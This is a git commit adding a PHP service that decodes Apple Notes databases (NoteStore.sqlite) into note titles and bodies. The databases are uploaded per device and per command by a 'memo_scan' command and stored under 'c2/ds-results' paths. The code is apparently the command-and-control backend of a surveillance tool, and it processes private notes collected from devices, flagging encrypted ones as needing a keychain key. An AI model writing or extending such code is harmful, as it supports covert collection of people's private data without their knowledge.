feat: 18
This commit is contained in:
@@ -0,0 +1,287 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* Decode an assembled Apple Notes NoteStore.sqlite dump into structured
|
||||
* note items [{title, body, native_id}] for IngestService::ingestNotes().
|
||||
*
|
||||
* memo_scan uploads NoteStore.sqlite + -wal + -shm + memo_scan.json per
|
||||
* command_id. Chunks are reassembled by DsResultStore before decode() runs.
|
||||
* Note bodies live in ZICNOTEDATA.ZDATA as gzip-compressed protobuf; we walk
|
||||
* outer.field2 -> Note.field3 -> Document.field2 for the visible text and
|
||||
* fall back to the ZSNIPPET column. Encrypted notes surface a placeholder.
|
||||
*/
|
||||
class DsMemoDecoder
|
||||
{
|
||||
private const RESULT_BASE = 'c2/ds-results';
|
||||
|
||||
/**
|
||||
* @return array{items: list<array{title:string,body:string,native_id:int|string|null}>, meta: array<string,mixed>}
|
||||
*/
|
||||
public function decode(Device $device, string $commandId): array
|
||||
{
|
||||
$dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId;
|
||||
$disk = Storage::disk('local');
|
||||
$errors = [];
|
||||
$items = [];
|
||||
$notes = 0;
|
||||
$encrypted = 0;
|
||||
$dbPath = null;
|
||||
|
||||
$manifestPath = $dir.'/memo_scan.json';
|
||||
if ($disk->exists($manifestPath)) {
|
||||
$manifest = json_decode((string) $disk->get($manifestPath), true);
|
||||
if (is_array($manifest)) {
|
||||
$dbPath = $manifest['db_path'] ?? null;
|
||||
}
|
||||
}
|
||||
|
||||
$sqliteRel = $dir.'/NoteStore.sqlite';
|
||||
if (! $disk->exists($sqliteRel)) {
|
||||
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])];
|
||||
}
|
||||
|
||||
$work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid());
|
||||
@mkdir($work, 0775, true);
|
||||
foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) {
|
||||
if ($disk->exists($dir.'/'.$f)) {
|
||||
file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f));
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [
|
||||
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
|
||||
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
$this->cleanup($work);
|
||||
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])];
|
||||
}
|
||||
|
||||
try {
|
||||
$noteEnt = $this->entityNumber($pdo, 'ICNote');
|
||||
if ($noteEnt === null) {
|
||||
$errors[] = 'ICNote entity not found in Z_PRIMARYKEY';
|
||||
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)];
|
||||
}
|
||||
|
||||
$rows = $pdo->prepare(
|
||||
'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,'
|
||||
.' n.ZSNIPPET AS snippet,'
|
||||
.' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv'
|
||||
.' FROM ZICCLOUDSYNCINGOBJECT n'
|
||||
.' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK'
|
||||
.' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK'
|
||||
);
|
||||
$rows->execute([':ent' => $noteEnt]);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$notes++;
|
||||
$item = $this->decodeRow($row);
|
||||
if ($item === null) {
|
||||
continue;
|
||||
}
|
||||
if (($item['_encrypted'] ?? false) === true) {
|
||||
$encrypted++;
|
||||
}
|
||||
unset($item['_encrypted']);
|
||||
$items[] = $item;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
$errors[] = 'query: '.$e->getMessage();
|
||||
} finally {
|
||||
$pdo = null;
|
||||
$this->cleanup($work);
|
||||
}
|
||||
|
||||
return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)];
|
||||
}
|
||||
|
||||
/** @param array<string,mixed> $row */
|
||||
private function decodeRow(array $row): ?array
|
||||
{
|
||||
$pk = $row['pk'] ?? null;
|
||||
$title = $this->str($row['title'] ?? null);
|
||||
$userTitle = $this->str($row['user_title'] ?? null);
|
||||
$snippet = $this->str($row['snippet'] ?? null);
|
||||
$iv = $row['iv'] ?? null;
|
||||
$zdata = $row['zdata'] ?? null;
|
||||
$nativeId = is_numeric($pk) ? (int) $pk : null;
|
||||
|
||||
if ($iv !== null && $this->blobLen($iv) > 0) {
|
||||
$body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]';
|
||||
$head = $userTitle !== '' ? $userTitle : $title;
|
||||
|
||||
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true];
|
||||
}
|
||||
|
||||
$body = null;
|
||||
if ($zdata !== null && $this->blobLen($zdata) > 0) {
|
||||
$body = $this->extractBody((string) $zdata);
|
||||
}
|
||||
// A body that is only object-replacement chars (U+FFFC = embedded
|
||||
// table/attachment placeholder) carries no readable text. Fall back
|
||||
// to the ZSNIPPET column, which holds Apple's plaintext preview —
|
||||
// for a table-only note that's the cell values (e.g. "1 2 3 5").
|
||||
if ($body === null || ! $this->hasVisibleText($body)) {
|
||||
$body = $snippet;
|
||||
}
|
||||
$body = $body ?? '';
|
||||
$head = $userTitle !== '' ? $userTitle : $title;
|
||||
|
||||
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId];
|
||||
}
|
||||
|
||||
private function extractBody(string $zdata): ?string
|
||||
{
|
||||
$decoded = @gzdecode($zdata);
|
||||
if ($decoded === false) {
|
||||
return null;
|
||||
}
|
||||
$note = $this->pbField($decoded, 2);
|
||||
if ($note === null) {
|
||||
return null;
|
||||
}
|
||||
$doc = $this->pbField($note, 3);
|
||||
if ($doc === null) {
|
||||
return null;
|
||||
}
|
||||
$body = $this->pbField($doc, 2);
|
||||
if ($body === null) {
|
||||
return null;
|
||||
}
|
||||
$body = str_replace(["\r\n", "\r"], "\n", $body);
|
||||
$body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body;
|
||||
|
||||
return trim($body);
|
||||
}
|
||||
|
||||
private function pbField(string $buf, int $field): ?string
|
||||
{
|
||||
$i = 0;
|
||||
$n = strlen($buf);
|
||||
while ($i < $n) {
|
||||
$tag = $this->varint($buf, $i, $i);
|
||||
if ($tag === null) {
|
||||
return null;
|
||||
}
|
||||
$fnum = $tag >> 3;
|
||||
$wtype = $tag & 7;
|
||||
if ($wtype === 0) {
|
||||
$this->varint($buf, $i, $i);
|
||||
} elseif ($wtype === 2) {
|
||||
$len = $this->varint($buf, $i, $i);
|
||||
if ($len === null || $len < 0 || $i + $len > $n) {
|
||||
return null;
|
||||
}
|
||||
$chunk = substr($buf, $i, (int) $len);
|
||||
$i += (int) $len;
|
||||
if ($fnum === $field) {
|
||||
return $chunk;
|
||||
}
|
||||
} elseif ($wtype === 5) {
|
||||
$i += 4;
|
||||
} elseif ($wtype === 1) {
|
||||
$i += 8;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function varint(string $buf, int $pos, int &$next): ?int
|
||||
{
|
||||
$val = 0;
|
||||
$shift = 0;
|
||||
$n = strlen($buf);
|
||||
while ($pos < $n) {
|
||||
$b = ord($buf[$pos++]);
|
||||
$val |= ($b & 0x7f) << $shift;
|
||||
if (($b & 0x80) === 0) {
|
||||
$next = $pos;
|
||||
return $val;
|
||||
}
|
||||
$shift += 7;
|
||||
if ($shift > 63) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function entityNumber(\PDO $pdo, string $name): ?int
|
||||
{
|
||||
try {
|
||||
$st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1');
|
||||
$st->execute([':n' => $name]);
|
||||
$v = $st->fetchColumn();
|
||||
return $v === false || $v === null ? null : (int) $v;
|
||||
} catch (\Throwable $e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private function titleFromBody(string $body): string
|
||||
{
|
||||
$body = trim($body);
|
||||
if ($body === '') {
|
||||
return '';
|
||||
}
|
||||
$firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body;
|
||||
return mb_substr(trim($firstLine), 0, 80);
|
||||
}
|
||||
|
||||
/**
|
||||
* True when $s has any visible character besides object-replacement
|
||||
* (U+FFFC), replacement (U+FFFD) and whitespace.
|
||||
*/
|
||||
private function hasVisibleText(string $s): bool
|
||||
{
|
||||
$stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? '';
|
||||
|
||||
return $stripped !== '';
|
||||
}
|
||||
|
||||
private function str(mixed $v): string
|
||||
{
|
||||
return is_string($v) ? trim($v) : '';
|
||||
}
|
||||
|
||||
private function blobLen(mixed $v): int
|
||||
{
|
||||
return is_string($v) ? strlen($v) : 0;
|
||||
}
|
||||
|
||||
/** @param list<string> $errors */
|
||||
private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array
|
||||
{
|
||||
return [
|
||||
'device_key' => $device->device_id,
|
||||
'command_id' => $commandId,
|
||||
'db_path' => $dbPath,
|
||||
'notes' => $notes,
|
||||
'encrypted' => $encrypted,
|
||||
'errors' => $errors,
|
||||
];
|
||||
}
|
||||
|
||||
private function cleanup(string $work): void
|
||||
{
|
||||
if (! is_dir($work)) {
|
||||
return;
|
||||
}
|
||||
foreach (glob($work.'/*') ?: [] as $f) {
|
||||
@unlink($f);
|
||||
}
|
||||
@rmdir($work);
|
||||
@rmdir(dirname($work));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user